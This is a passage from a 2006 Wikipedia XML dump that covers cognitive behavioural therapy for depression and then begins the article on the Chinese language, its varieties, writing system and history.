It involves recognizing unhelpful patterns of thinking and reacting, then modifying or replacing these with more realistic or helpful ones. Its practitioners hold that typically clinical depression is associated with (although not necessarily caused by) negatively biased thinking and [[irrationality|irrational thoughts]]. [[Cognition|Cognitive]] [[therapy]] is often used in conjunction with [[mood stabilizer|mood stabilizing]] medications to treat [[bipolar disorder]]. Its application in treating [[schizophrenia]] along with medication and family therapy is recognized by the [[National Institute for Clinical Excellence|NICE]] guidelines (see below) within the British NHS. According to the U.S.-based National Association of Cognitive-Behavioral Therapists:

:&quot;There are several approaches to cognitive-behavioral therapy, including [[Rational Emotive Behavior Therapy]], Rational Behavior Therapy, Rational Living Therapy, Cognitive Therapy, and [[Dialectical behavior therapy|Dialectic Behavior Therapy]].&quot; [http://www.nacbt.org/whatiscbt.htm]. 

A related approach, [[Cognitive analytic therapy|Cognitive Analytic Therapy]], can be regarded as a form of integrative therapy, integrating insights of both psychodynamic  (especially Kleinian) therapy with a broad cognitive approach to therapy. 

==The basics==
Cognitive Behaviour Therapy (CBT) is based on the idea that how we think (cognition), how we feel ([[emotion]]), and how we act (behaviour) all interact together. Specifically, our ''thoughts'' determine our feelings and our behaviour. Therefore negative thoughts can cause us distress and result in problems.

One example could be someone who, after making a mistake, thinks &quot;I'm useless and can't do anything right.&quot; This impacts negatively on their mood and makes them feel [[Clinical depression|depressed]]; then they worsen the problem by reacting to avoid activities. As a result they reduce their chance of successful experience, which reinforces their original thought of being &quot;useless&quot;. In therapy the latter example could be identified as a [[self-fulfilling prophecy]] or &quot;problem cycle&quot;, and the efforts of the therapist and client would be to work together to change this. This is done by addressing the way the client thinks in response to similar situations and by helping them think more flexibly, along with reducing their avoidance of activities. If as a result they escape the negative thought pattern, they will already feel less depressed. They may hopefully also then become more active, succeed more, and further reduce their depression.

==Thoughts as the cause of emotions==
With thoughts stipulated as being the cause of emotions rather than vice-versa, cognitive therapists reverse the causal order more generally used by psychotherapists.  The therapy is essentially, therefore, to identify those irrational or maladaptive thoughts that lead to negative emotion and identify what it is about them that is irrational or just not helpful; this is done in an effort to reject the distorted thoughts and replace them with more realistic alternative thoughts.  

Cognitive therapy is not an overnight process. Even after a patient has learned to recognise when and where his thought processes are going awry, it can take months of concerted effort to replace an irrational thought with a more reasonable one.  With patience and a good therapist, however, cognitive therapy can be a valuable tool in recovery.

==Cognitive behavioral therapy==
While similar views of emotion have existed for millennia, cognitive therapy was developed in its present form by [[Albert Ellis]] and [[Aaron T. Beck]] in the [[1950s]] and [[1960s]].  It rapidly became a favorite intervention to study in psychotherapy research in academic settings. In initial studies it was often contrasted with behavioral treatments to see which was most effective.  However, in recent years, cognitive and behavioral techniques have often been combined into cognitive behavioral treatment.  This is arguably the primary type of psychological treatment being studied in research today.

Cognitive behavioural group therapy (CBGT) is a similar approach in treating mental illnesses. In this case, clients participate in a group and recognize they are not alone ín suffering from their problems. Based on the protocal by [[Richard Heimberg]].[http://www.stressandanxiety.com/group-therapy.html]

A sub-field of cognitive behavior therapy used to treat [[OCD|Obsessive Compulsive Disorder]] makes use of [[classical conditioning]] through [[extinction (psychology)|extinction]] (a type of conditioning) and [[habituation]]. CBT has also been successfully applied to the treatment of [[general anxiety disorder|Generalized Anxiety Disorder]], [[health anxiety]], [[Social phobia]], and [[Panic Disorder]].

CBT has a good evidence base in terms of its effectiveness in reducing symptoms and preventing relapse, and has been recommended in the UK by the [[National Institute for Clinical Excellence|National Institute for Health and Clinical Excellence]] as a treatment of choice for a number of mental health difficulties, including [[post-traumatic stress disorder]], OCD, and depression.

==Depression==
Negative thinking in depression can result from biological sources (i.e., endogenous depression), modeling from parents, peers, or other sources. The depressed person experiences negative thoughts as being beyond their control: the negative thought pattern can become automatic and self-perpetuating.

Negative thinking can be categorized into a number of common patterns called &quot;[[cognitive distortion]]s&quot;.  The cognitive therapist provides techniques to give the client a greater degree of control over negative thinking by correcting these distortions, or correcting thinking errors that abet the distortions, in a process called [[cognitive restructuring]].

Negative thoughts in depression are generally about one of three areas: negative view of self, negative view of the world, and negative view of the future.  These constitute what Beck called the &quot;cognitive triad&quot;.

An approach to depression based upon [[attribution theory]] in social psychology is related to the concept of attributional style. First put forth by Lyn Abramson and her colleagues in 1978, this approach argues that depressives have a typical attributional style — they tend to attribute negative events in their lives to stable and global characteristics of themselves (Abramson, Seligman &amp; Teasdale, 1978). There is considerable evidence that depressives do exhibit such an attributional style, but it is important to remember that Abramson et al. do not claim that an attributional style of this nature is necessarily going to cause depression — only that it will lead to clinical depression if combined with a negative event. This theory is sometimes known as a revised version of [[learned helplessness]] theory. 
In 1989, this theory was challenged by Hopelessness Theory{{fact}}. This theory emphasised attributions to global and stable factors, rather than, as in the original model, internal attributions. Hopelessness Theory also emphasises that beliefs about the consequences of events and rated importance of events may be at least as important in understanding why some people react to negative events with clinicial depression as are causal attributions. 
===The four column technique===
A major technique in cognitive therapy is the four column technique.  It consists of a four step process.  The first three steps analyze the process by which a person has become depressed or distressed.  The first column records the objective situation.  In the second column, the client writes down the negative thoughts which occurred to them.  The third column is for the negative feelings and dysfunctional behaviors which ensued.  The negative thoughts of the second column are seen as a connecting bridge between the situation and the distressing feelings.  Finally, the fourth column is used for challenging the negative thoughts on the basis of evidence from the client's experience.

==Treating depression with CBA==
A relatively new version of cognitive behavioral therapy for depression is the cognitive behavioral-analysis system of psychotherapy (CBASP). When combined with appropriate [[antidepressant]]s, it can be extremely effective.

A study published by [[Martin Keller]] MD of [[Brown University]] and others in the [[May 18]], [[2000]] [[New England Journal of Medicine]] compared the antidepressant [[Serzone]] with the talking therapy CBASP. CBASP is largely derivative of other [[talking cure|talking therapies]] such as cognitive, behavioral, and [[interpersonal psychoanalysis|interpersonal therapy]]. Six hundred and eighty-one patients with severe chronic depression (some with other psychiatric illnesses) were enrolled in the trial, and were assigned to either Serzone, CBASP, or combination Serzone-CBASP for 12 weeks. The response rates to either Serzone or CBASP alone were rather underwhelming - 55 percent and 52 percent, respectively, for the 76 percent who completed the study. In other words, a little more than half of the completers in those two arms of the trial reduced their depression by 50 percent or better.

The Serzone findings roughly correspond with many other trial results for antidepressants, and underscore a major weakness in these drugs - that while they are effective, the benefit is often marginal and the treatment outcome problematic. Similarly, the CBASP findings validate other studies finding talking therapy about equal in efficacy to taking antidepressants.

The results for the combination drug-therapy group, however, were surprising, with 85 percent of the completing patients achieving a 50 percent reduction in symptoms or better. 42 percent in the combination group achieved [[remission]] (a virtual elimination of all depressive symptoms) compared to 22 percent in the Serzone group and 24 percent in the CBASP group.

The authors of the study confessed to being caught by surprise by the results, acknowledging that &quot;the rates of response and remission in the combined-treatment group were substantially higher than those that might have been anticipated.&quot;

==References==
''(in chronological order)''

*[[Aaron T. Beck|Beck, Aaron T.]] ''Cognitive Therapy and the Emotional Disorders''. International Universities Press Inc., [[1975]]. ISBN 0-82-360990-1
*[[Albert Ellis|Ellis, Albert]]. ''A Guide to Rational Living''. [[Prentice Hall]], [[1975]]. ISBN 0-13-370650-8
*Abramson, L., Seligman, M.E.P. &amp; Teasdale, J. (1978). Learned Helplessness in Humans: Critique and Reformulation. Journal of Abnormal Psychology, 87 pp49-74
*Dryden, Windy. &quot;Ten Steps to Positive Living.&quot; Sheldon Press, 1994.
*[[David D. Burns|Burns, David D.]] ''Feeling Good: The New Mood Therapy''. Revised Edition. Avon, [[1999]]. ISBN 0-38-081033-6
*Keller, M. et al.  [http://content.nejm.org/cgi/content/abstract/342/20/1462 ''A Comparison of Nefazodone, the Cognitive Behavioral-Analysis System of Psychotherapy, and Their Combination for the Treatment of Chronic Depression''].  New England Journal of Medicine Volume 342:1462-1470  	 	May 18, 2000.
*Tanner, Susan and Ball, Jillian. ''Beating the Blues: a Self-help Approach to Overcoming Depression''.  [[1989]]/[[2001]].  ISBN 064636622X [http://www.successcentre.com.au/catalogue/titles.cfm?cur_titleID=1867]
*McCullough Jr., James P. ''Treatment for Chronic Depression: Cognitive Behavioral Analysis System of Psychotherapy (CBASP)''. Guilford Press, [[2003]]. ISBN 1-57-230965-2

==External links==

* [http://www.cognitivetherapynyc.com/ American Institute for Cognitive Therapy]
* [http://www.beckinstitute.org/ The Beck Institute for Cognitive Therapy and Research]
* [http://www.academyofct.org/ The Academy of Cognitive Therapy]
* [http://www.rebt.org/ The Albert Ellis Institute]
* [http://www.nice.org.uk/page.aspx?o=home NICE]
* [http://www.rational.org.nz/ Rational.org New Zealand]
* [http://www.nacbt.org/whatiscbt.htm NACBT Online - What is CBT?]
* [http://counsellingresource.com/types/cognitive-therapy/index.html An Introduction to Cognitive Therapy &amp; Cognitive Behavioural Approaches]
* [http://counsellingresource.com/types/rational-emotive/ An Introduction to Rational Emotive Behaviour Therapy]
* [http://www.cognitivetherapy.com/ New York Institute for Cognitive and Behavioral Therapies]
* [http://moodgym.anu.edu.au/ Moodgym] - Training CBT for preventing depression
* [http://www.patient.co.uk/showdoc/40000658/ Patient.co.uk article on CBT]

[[Category:Cognitive therapy| ]]
[[Category:Psychotherapy]]
[[Category:Psychology]]
[[Category:Therapy]]
[[de:Verhaltenstherapie]]
[[es:Terapia cognitiva]]
[[is:Atferlismeðferð]]
[[ja:認知療法]]
[[no:Kognitiv terapi]]
[[sv:Kognitiv terapi]]</text>
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  </page>
  <page>
    <title>Chinese language</title>
    <id>5751</id>
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      <id>42160753</id>
      <timestamp>2006-03-04T05:35:29Z</timestamp>
      <contributor>
        <username>Chisamna</username>
        <id>1026816</id>
      </contributor>
      <minor />
      <comment>/* Resources on Chinese in general */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Chinese
|nativename=汉语 ''Hànyǔ'', 中文 ''Zhōngwén''
|caption=Zhōngwén in written Chinese
|image=[[Image:Zhongwen.png|center|150px|&quot;Chinese (written) language&quot; (pinyin: zhōngwén) written in Chinese characters]]
|states=[[People's Republic of China]] ([[mainland China]], [[Hong Kong]], [[Macao]]), [[Republic of China]] ([[Taiwan]] and other [[list of islands of the Republic of China|islands]]), [[Malaysia]], [[Indonesia]], [[Thailand]], [[Vietnam]], [[Burma]], [[Cambodia]], [[Singapore]], also parts of [[Japan]], [[North Korea]], [[South Korea]], [[Philippines]] &amp; other Chinese communities around the world
|region=(majorities): Eastern [[Asia]] &amp; parts of Southern [[Asia]]&lt;br&gt;(minorities): Chinese communities in Western [[Asia]], the [[Americas]], [[Africa]], [[Europe]] and  [[Pacific]]
|speakers=more than 1.3 billion
|rank=1, if considered a single language (Mandarin and Cantonese are most common sub-types)
|familycolor=Sino-Tibetan
|nation=[[People's Republic of China|PRC]], [[Republic of China|ROC]], [[Singapore]], [[United Nations]]
|agency=In the PRC: [http://www.china-language.gov.cn/ various agencies](in Chinese)&lt;br&gt;In the ROC: [[Mandarin Promotion Council]]&lt;br&gt;In Singapore: [[Promote Mandarin Council]]/[[Speak Mandarin Campaign]] [http://mandarin.org.sg/html/home.htm]
|iso1=zh|iso2b=chi|iso2t=zho
|lc1=cdo|ld1=Min Dong|ll1=Min (linguistics)
|lc2=cjy|ld2=Jinyu|ll2=Jin (linguistics)
|lc3=cmn|ld3=Mandarin|ll3=Mandarin (linguistics)
|lc4=cpx|ld4=Pu-Xian|ll4=Min (linguistics)
|lc5=czh|ld5=Huizhou|ll5=Hui (linguistics)
|lc6=czo|ld6=Min Zhong|ll6=Min (linguistics)
|lc7=dng|ld7=Dungan|ll7=Dungan language
|lc8=gan|ld8=Gan|ll8=Gan (linguistics)
|lc9=hak|ld9=Hakka|ll9=Hakka (linguistics)
|lc10=hsn|ld10=Xiang|ll10=Xiang (linguistics)
|lc11=mnp|ld11=Min Bei
|lc12=nan|ld12=Min Nan|ll12=Min-nan
|lc13=wuu|ld13=Wu|ll13=Wu (linguistics)
|lc14=yue|ld14=Yue|ll14=Cantonese (linguistics)}}

'''Chinese''' (汉语/漢語, [[Pinyin]]: ''Hànyǔ'', 华语/華語, ''Huáyǔ'' or 中文, ''Zhōngwén'') is a [[language]] (or [[language family]]) that forms part of the [[Sino-Tibetan languages|Sino-Tibetan]] family of languages. About one-fifth of the people in the world speak some form of Chinese as their native language. 

In general, all varieties of Chinese are [[Tone (linguistics)|tonal]] and [[Analytic language|analytic]]. However, Chinese is also distinguished for a high level of internal diversity. Regional variation between different variants/dialects is comparable to the [[Romance languages|Romance language family]]; many variants of spoken Chinese are different enough to be mutually incomprehensible. It could be argued that there are more native &quot;Romance&quot; (Italian, French, Spanish, Portuguese, etc.) speakers than &quot;Chinese&quot; speakers. There are between six and twelve main regional groups of Chinese (depending on classification scheme), of which the most populous by far is [[Mandarin (linguistics)|Mandarin]] (c. 800 million), followed by [[Wu (linguistics)|Wu]] (c. 90 million), and [[Cantonese (linguistics)|Cantonese]] (c. 80 million). The [[identification of the varieties of Chinese]] as &quot;languages&quot; or &quot;dialects&quot; is a controversial issue. If Chinese is classified as a language rather than a dialect, it is the most widely spoken language in the world.

The standardized form of spoken Chinese is based on the [[Beijing dialect]], a member of the [[Mandarin (linguistics)|Mandarin]] group; it is described in the article &quot;[[Standard Mandarin]]&quot;. Standard Mandarin is the official language of the [[People's Republic of China]] and the [[Republic of China]] on [[Taiwan]], as well as one of four official languages of [[Singapore]] (together with [[English language|English]], [[Malay language|Malay]], and [[Tamil language|Tamil]]). Chinese—''de facto'', Standard Mandarin—is one of the six official languages of the [[United Nations]] (alongside English, [[Arabic language|Arabic]], [[French language|French]], [[Russian language|Russian]], and [[Spanish language|Spanish]]). Spoken in the form of [[Standard Cantonese]], Chinese is one of the official languages of [[Hong Kong]] (together with English) and of [[Macau]] (together with [[Portuguese language|Portuguese]]).

==Spoken Chinese==
{{main|spoken Chinese}}
&lt;!--This is a summary. Please add new information to [[Chinese spoken language]].--&gt;

The map on the right depicts the subdivisions (&quot;languages&quot; or &quot;dialect groups&quot;) within Chinese. The traditionally recognized seven main groups, in order of population size are:

* [[Mandarin (linguistics)|Mandarin]] 北方话/北方話 or 官話/官话 (old name), (c. 800 million)
* [[Wu (linguistics)|Wu]] 吳/吴 , which includes [[Shanghainese]], (c. 90 million) 
* [[Cantonese (linguistics)|Cantonese]] 粵/粤, (c. 80 million) 
* [[Min (linguistics)|Min]] 閩/闽, which includes [[Taiwanese language|Taiwanese]],(c. 50 million), 
* [[Xiang (linguistics)|Xiang]] 湘, (c. 35 million), 
* [[Hakka (linguistics)|Hakka]] 客家 or 客, (c. 35 million) 
* [[Gan (linguistics)|Gan]] 贛/赣, (c. 20 million) 

Chinese linguists have recently distinguished 3 more groups from the traditional seven:
* [[Jin (linguistics)|Jin]] 晉/晋 from Mandarin
* [[Hui (linguistics)|Hui]] 徽 from Wu
* [[Pinghua (linguistics)|Ping]] 平話/平话 partly from Cantonese

There are also many smaller groups that are not yet classified, such as: [[Danzhou dialect]], spoken in [[Danzhou]], on Hainan Island; [[Xianghua]] (乡话), not to be confused with Xiang (湘), spoken in western [[Hunan]]; and [[Shaozhou Tuhua]], spoken in northern [[Guangdong]]. The [[Dungan language]], spoken in Central Asia, is very closely related to Mandarin. However, it is not generally considered &quot;Chinese&quot;, because it is written in Cyrillic and spoken by [[Dungan|people]] outside [[China]] who are not considered [[Overseas Chinese|Chinese]] in any sense. See [[List of Chinese dialects]] for a comprehensive listing of individual dialects within these large, broad groupings.

[[Image:Sinitic_Languages0.gif|right|thumb|280px|The varieties of spoken Chinese in [[China]] (CLICK double rectangle image to the right for a larger map.)]]
In general, the above languages / dialect groups do not have sharp boundaries.  As with many areas that were linguistically diverse for a long time, it is not always clear how the speeches of various parts of China should be classified.  The [[Ethnologue]] lists a total of [http://www.ethnologue.com/show_family.asp?subid=90151 14], but the number varies between seven and seventeen depending on the classification scheme being followed. In any case, some dialects belonging to the same group may nevertheless be mutually unintelligible, while other dialects split up among several groups may in fact share many similarities due to geographical proximity.

In general, mountainous South China displays more linguistic diversity than the flat North China. In parts of south China, a major city's dialect may be marginally intelligible to close neighbours.  For instance, [[Wuzhou]] is about 120 miles upstream from [[Guangzhou]], but its dialect is more like [[Standard Cantonese]] spoken in Guangzhou, than is that of [[Taishan]], 60 miles southwest of Guangzhou and separated by several rivers from it (Ramsey, [[1987]]).

==== Standard Mandarin and diglossia ====
{{main|Standard Mandarin}}
&lt;!--This is a SUMMARY. Please add new information to [[Standard Mandarin]].--&gt;

[[Standard Mandarin]] is the official [[standard language]] used by the [[People's Republic of China]], the [[Republic of China]], and [[Singapore]]. It is based on the [[Beijing dialect]], which is the dialect of [[Mandarin (linguistics)|Mandarin]] as spoken in [[Beijing]]. The governments intend for speakers of all Chinese speech varieties to use it as a common language of communication. It is therefore used in government, in the media, and in instruction in schools.

The situation in China is a complex and interesting case of [[diglossia]]: it is common for speakers of Chinese to be able to speak several varieties of the language, typically Standard Mandarin, the local dialect, and occasionally a regional [[lingua franca]], such as [[Cantonese (linguistics)|Cantonese]]. Such polyglots frequently [[code-switching|code switch]] between Standard Mandarin and the local dialect(s), depending on the situation. A person living in [[Taiwan]], for example, may commonly mix pronunciations, phrases, and words from [[Standard Mandarin]] and [[Taiwanese (linguistics)|Taiwanese]], and this mixture is considered socially appropriate under many circumstances. Similarly in Hong Kong, it is not unusual for people to speak Cantonese and English, and sometimes Mandarin.

===Language or language family?===
{{main|Identification of the varieties of Chinese}}
&lt;!--This is a SUMMARY. Please add new information to [[Identification of the varieties of Chinese]].--&gt;

The diversity of Chinese variants is comparable to the [[Romance languages]], and greater than the [[North Germanic languages]]. However, owing to China's sociopolitical and cultural situation, whether these variants should be known as &quot;languages&quot; or &quot;dialects&quot; is a subject of ongoing debate. Some people call Chinese a [[language]] and its subdivisions [[dialect]]s, while others call Chinese a [[Language families and languages|language family]] and its subdivisions languages.

From a purely [[Prescription and description|descriptive]] point of view, &quot;languages&quot; and &quot;dialects&quot; are simply arbitrary groups of similar [[idiolect]]s, and the distinction is irrelevant to linguists who are only concerned with describing regional speeches scientifically. However, the language/dialect distinction has far-reaching implications in socio-political issues, such as the national identity of China, regional identities within China, and the very nature of the (Han) Chinese &quot;nation&quot; or &quot;race&quot;. As a result, it has become a subject of contention.

On one hand, there is the tendency to regard dialects as equal variations of a single Chinese language. This is partly because all speakers of different varieties of Chinese use [[Vernacular Chinese|one formal standard written language]], although this written language in modern times is itself based on one variety of spoken Chinese.  On the other hand, some regions with strong senses of regional cohesiveness have become more aware of regional groupings of dialects.

The idea of single language has major overtones in politics and self-identity, and explains the amount of emotion over this issue.  The idea of Chinese as a language family may suggest that China consists of several different nations, challenge the notion of a single [[Han Chinese]] &quot;[[race]]&quot;, and legitimize secessionist movements. Furthermore, for some, suggesting that Chinese is more correctly described as multiple languages implies that the notion of a single Chinese language and a single Chinese state or nationality is artificial.

However, the links between ethnicity, politics, and language can be complex. Many Wu, Min, Hakka, and Cantonese speakers consider their own varieties as separate spoken languages, but the [[Han Chinese]] race as one entity.  They do not regard these two positions as contradictory, but consider the Han Chinese an entity of great internal diversity.  Moreover, the government of the [[People's Republic of China]] officially states that China is a [[Nationalities of China|multinational state]], and that the term &quot;Chinese&quot; refers to a broader concept ''[[Zhonghua Minzu]]'' that incorporates groups that do not natively speak Chinese, such as [[Tibetan people|Tibetans]], [[Uyghur]]s, and [[Mongols]]. (Groups that do speak Chinese are properly called [[Han Chinese]], and are regarded as one component of a multiethnic whole.) Similarly, on Taiwan, some supporters of [[Chinese reunification]] promote the local language, while some supporters of Taiwan independence have little interest in the topic.  And the Taiwanese identity incorporates [[Taiwanese aborigines]], who are not considered Han Chinese because they speak [[Austronesian languages]], predate Han Chinese settlement, and are culturally and genetically linked to other Austronesian-speaking peoples such as [[Polynesia]]ns.

==Written Chinese==
{{main|Chinese written language}}
&lt;!--This is a SUMMARY. Please add new information to [[Chinese written language]].--&gt;

The relationship among the Chinese spoken and written languages is complex.  It is compounded by the fact that spoken variations evolved for centuries, since at least the late [[Han Dynasty]], while written Chinese changed much less.

Until the 20th century, most formal Chinese writing was done in ''wényán'' (文言), translated as [[Classical Chinese]] or Literary Chinese, which was very different from any spoken variety of Chinese, much as [[Classical Latin]] differs from modern [[Romance language]]s.  Since the [[May Fourth Movement]] of [[1919]], the formal standard for written Chinese was changed to ''báihuà'' (白話/白话), or [[Vernacular Chinese]], which, while not completely identical to the grammar and vocabulary of dialects of Mandarin, was based mostly on them.  The term ''standard written Chinese'' now refers to Vernacular Chinese.

Chinese characters are [[morpheme]]s independent of phonetic change. Thus, although the number one is &quot;yi&quot; in [[Mandarin (linguistics)|Mandarin]], &quot;yat&quot; in [[Cantonese (linguistics)|Cantonese]] and &quot;tsit&quot; in [[Min-nan|Hokkien]], they derive from a common ancient Chinese word and still share an identical character (&quot;一&quot;). Nevertheless, the orthographies of Chinese dialects are not completely identical. The vocabularies of different dialects have diverged. In addition, while literary vocabulary is &lt;!-- often [huh?] --&gt; mostly used by all dialects, colloquial vocabularies are often different. Colloquial non-standard written Chinese usually involves &quot;dialectal characters&quot; which may not be understood in other dialects or characters that are considered archaic in standard written Chinese.

Cantonese is unique among non-Mandarin [[regional language]]s in having a written colloquial standard, used in Hong Kong and by non-[[Standard Mandarin]] speaking Cantonese speakers overseas, with a large number of unofficial characters for words particular to this variety of Chinese. By contrast, the other regional languages do not have such widely-used alternative written standards. Written colloquial Cantonese has become quite popular in online [[chat room]]s and [[instant messaging]], although for formal written communications Cantonese speakers still normally use standard written Chinese.

Also, in Hunan, some women wrote their local language in [[Nü Shu]], a [[syllabary]] derived from [[Chinese character]]s.  The [[Dungan language]], considered a dialect of Mandarin, is also nowadays written in [[Cyrillic]], and was formerly written in the [[Arabic alphabet]], although the [[Dungan]] people live outside [[China]].

=== Chinese characters ===
{{main|Chinese character}}
&lt;!--This is a SUMMARY. Please add new information to [[Chinese character]].--&gt;

The Chinese written language employs [[Chinese character]]s (漢字/汉字 [[pinyin]]: ''hànzì''), which are [[logogram]]s: each symbol represents a [[semanteme]] (a meaningful unit of language). 

They are not just [[pictograph]]s (pictures of their meanings), but are highly stylized and carry much abstract meaning.  Only some characters are derived from pictographs.  &lt;!-- (1%, according to [[picogram]].) --&gt; In [[100]] AD, the famed scholar [[Xushen]] in the [[Han Dynasty]] classified characters into 6 categories, only 4% as pictographs, and 82% as phonetic complexes consisting of a ''radical'' element that indicates meaning, and a ''phonetic'' element that arguably once indicated the pronunciation.

All modern characters derive from [[Kaishu]].  There are currently two standards for Chinese characters.  One is the [[Traditional Chinese character|traditional system]], essentially a streamlined styling of Kaishu, still used in [[Hong Kong]], [[Taiwan]], and [[Macau]].  The other is the [[Simplified Chinese character|simplified system]] adopted during the [[1950s]] [[Chinese Cultural Revolution]] in [[Mainland China]].  The simplified system requires fewer strokes to write certain radicals and has fewer synonymous characters. [[Singapore]], which has a large Chinese community, is the first and only foreign country to recognize and officially adopt the simplified characters. 

[[Image:shodo.jpg|thumb|250px|Various styles of Chinese calligraphy.]]
Various written styles are used in [[Chinese calligraphy]], including [[seal script|zhuanshu]] (篆書, &quot;seal-script&quot;), [[caoshu]] (草書, &quot;grass script&quot; or &quot;haste script&quot;), [[lishu]] (隸書, &quot;official script&quot;) and [[kaishu]] (楷書, &quot;standard script&quot;). Calligraphers can write in traditional and simplified characters, but they tend to use traditional characters for traditional art.

As with [[Roman alphabet|Latin script]], a wide variety of [[typeface|fonts]] exist for printed Chinese characters, a great number of which are often based on the styles of single calligraphers or schools of calligraphy.

There is no concrete record of the origin of Chinese characters. Legend suggests that [[Cangjie]], a bureaucrat of the legendary emperor [[Huangdi]] of China about [[2600 BC]], invented Chinese characters.  But archaeological evidence, mainly the oracles found in the [[19th century|19]]-[[20th centuries]], only dates Chinese characters to the [[Shang dynasty]] in [[1700 BC]].

The vast majority of oracle bone inscriptions were found in [[Yinxu]] of the Shang Dynasty, although a few [[Zhou dynasty]]-related ones were also found. The forms of the characters in the inscriptions changed over the 200 to 300 years, and scholars date the inscriptions of the Shang to the ruler by the content, particularly from the name of the diviners who inscribed the shell or bone artifacts.

Contemporaneous with the end of Shang and Western Zhou periods are the [[bronzeware script|bronze inscriptions]]. Over the last century, a great many ancient bronze artifacts have been unearthed in China which contain dedicational texts of the Zhou aristocrats where the characters show similarities and innovations compared to the oracle inscriptions.

It is said that during the reign of Zhou King Xuan (宣王 [[820s BC|827]]-[[780s BC|782 BCE]]), the form of written characters was revised, and these became refered to as the &quot;[[greater seal script]]&quot; or ''dazhuan''.

==History==
Most linguists classify all of the variations of Chinese as part of the Sino-Tibetan [[language family]] and believe that there was an original language, called [[Proto-Sino-Tibetan]], analogous to [[Indo-European languages|Proto-Indo-European]], from which the Sinitic and Tibeto-Burman languages descended. The relations between Chinese and  other Sino-Tibetan languages are an area of active research, as is the attempt to reconstruct Proto-Sino-Tibetan. The main difficulty in this effort is that, while there is very good documentation that allows us to reconstruct the ancient sounds of Chinese, there is no written documentation of the division between proto-Sino-Tibetan and Chinese.  In addition, many of the languages that would allow us to reconstruct Proto-Sino-Tibetan are very poorly documented or understood.

Categorization of the development of Chinese is a subject of scholarly debate. One of the first systems was devised by the [[Sweden|Swedish]] linguist [[Bernhard Karlgren]] in the early [[1900s]]. The system was much revised, but always heavily relying on Karlgren's insights and methods.

[[Old Chinese]] ({{zh-tsps|t=上古漢語|s=上古汉语|p=Shànggǔ Hànyǔ}}), sometimes known as 'Archaic Chinese', was the language common during the early and middle [[Zhou Dynasty (1122 BC - 256 BC)|Zhou Dynasty]] ([[1122 BC]] - [[256 BC]]), texts of which include inscriptions on bronze artifacts, the poetry of the ''[[Shijing]]'', the history of the ''[[Shujing]]'', and portions of the ''[[Yijing]]'' (''I Ching''). The phonetic elements found in the majority of Chinese characters also provide hints to their Old Chinese pronunciations. The pronunciation of the borrowed Chinese characters in Japanese, Vietnamese and Korean also provide valuable insights. Old Chinese was not wholly uninflected. It possessed a rich sound system in which aspiration or rough breathing differentiated the consonants, but probably was still without tones. Work on reconstructing Old Chinese started with [[Qing dynasty]] philologists.

[[Middle Chinese]] ({{zh-tsps|s=中古汉语|t=中古漢語|p=Zhōnggǔ Hànyǔ}}) was the language used during the [[Sui dynasty|Sui]], [[Tang dynasty|Tang]], and [[Song dynasty|Song]] dynasties ([[7th century|7th]] through [[10th century|10th]] centuries AD).  It can be divided into an early period, reflected by the 切韻 '[[Qieyun]]' [[rime book|rhyme table]] ([[601]] AD), and a late period in the 10th century, reflected by the 廣韻 '[[Guangyun]]' [[rime book|rhyme table]]. Linguists are confident of having reconstructed how Middle Chinese sounded. The evidence for the pronunciation of Middle Chinese comes from several sources: modern dialect variations, rhyming dictionaries, foreign transliterations, &quot;rhyming tables&quot; constructed by ancient Chinese philologists to summarize the phonetic system, and Chinese phonetic translations of foreign words. However, all reconstructions are tentative; for example, scholars have shown that trying to reconstruct modern Cantonese from the rhymes of modern [[Cantopop]] would give a very inaccurate picture of the language.

The development of the spoken Chinese languages from early historical times to the present has been complex. Most northern Chinese people, in [[Sichuan]] and in a broad arc from the northeast (Manchuria) to the southwest (Yunnan), use various Mandarin dialects as their [[home language]]. The prevalence of Mandarin throughout northern China is largely due to north China's plains. By contrast, the mountains and rivers of southern China promoted linguistic diversity.  The presence of Mandarin in Sichuan is largely due to a plague in the [[12th century]]. This plague, which may have been related to the [[Black Death]], depopulated the area, leading to later settlement from north China.

Until the mid-[[20th century]], most southern Chinese did not speak any Mandarin. However, despite the mix of officials and commoners speaking various Chinese dialects, Nanjing Mandarin became dominant at least during &lt;!-- i.e., circa? --&gt; the officially [[Manchu]]-speaking [[Qing Empire]]. Since the [[17th century]], the Empire had set up [[orthoepy]] academies ({{zh-tsps|t=正音書院|s=正音书院|p=Zhèngyīn Shūyuàn}}) to make pronunciation conform to the Qing capital Beijing's standard, but had little success.  During the Qing's last 50 years in the late 19th century, the Beijing Mandarin finally replaced Nanjing Mandarin in the imperial court.  For the general population, although variations of Mandarin were already widely spoken in China then, a single standard of Mandarin did not exist. The non-Mandarin speakers in southern China also continued to use their regionalects for every aspect of life.  The new Beijing Mandarin court standard was thus fairly limited. 

This situation changed with the creation (in both the PRC and the ROC) of an elementary school education system committed to teaching Mandarin. As a result, Mandarin is now spoken fluently by a majority of people in [[mainland China]] and on [[Taiwan]]. In [[Hong Kong]], the language of education and formal speech remains [[Cantonese language|Cantonese]], but Mandarin is becoming increasingly influential.

==Influence on other languages==
Throughout history [[Chinese culture]] and [[political history of China|politics]] has had a great influence on unrelated languages such as [[Korean language|Korean]], [[Vietnamese language|Vietnamese]], and [[Japanese language|Japanese]]. Korean and Japanese both have writing systems employing [[Chinese character]]s (Hanzi), which are called [[Hanja]] and [[Kanji]], respectively. 

The Vietnamese term for Chinese writing is [[Han Tu]].  It was the only available method for writing Vietnamese until the [[14th century]], used almost exclusively by Chinese-educated Vietnamese elites. From the 14th to the late 19th century, Vietnamese was written with [[Chu Nom]], a modified Chinese script incorporating sounds and syllables for native Vietnamese speakers. This is now completely replaced by a modified Latin script that incorporates a system of diacritical marks to indicate tones, as well as modified consonants. The Vietnamese language exhibits multiple elements similar to Cantonese in regard to the specific intonations and sharp consonant endings.  There is also a slight influence from Mandarin, including the sharper vowels and &quot;kh&quot; sound missing from other Asiatic languages.

In [[South Korea]], the [[Hangul]] alphabet is generally used, but [[Hanja]] is used as a sort of boldface. (In [[North Korea]], [[Hanja]] has been discontinued.) Since the modernization of Japan in the late 19th century, there has been debate about abandoning the use of Chinese characters, but the practical benefits of a radically new script have so far not been considered sufficient.

Languages within the influence of Chinese culture also have a very large number of [[loanword]]s from Chinese. 50% or more of Korean vocabulary is of Chinese origin and the influence on Japanese and Vietnamese has been considerable. 10% of Philippine language vocabularies are of Chinese origin. Chinese also shares a great many grammatical features with these and neighboring languages, notably the lack of [[grammatical gender|gender]] and the use of [[classifier (linguistics)|classifier]]s. The Japanese, Korean, and Vietnamese languages seem to retain sounds of Classical Chinese that are otherwise only found in southern China.

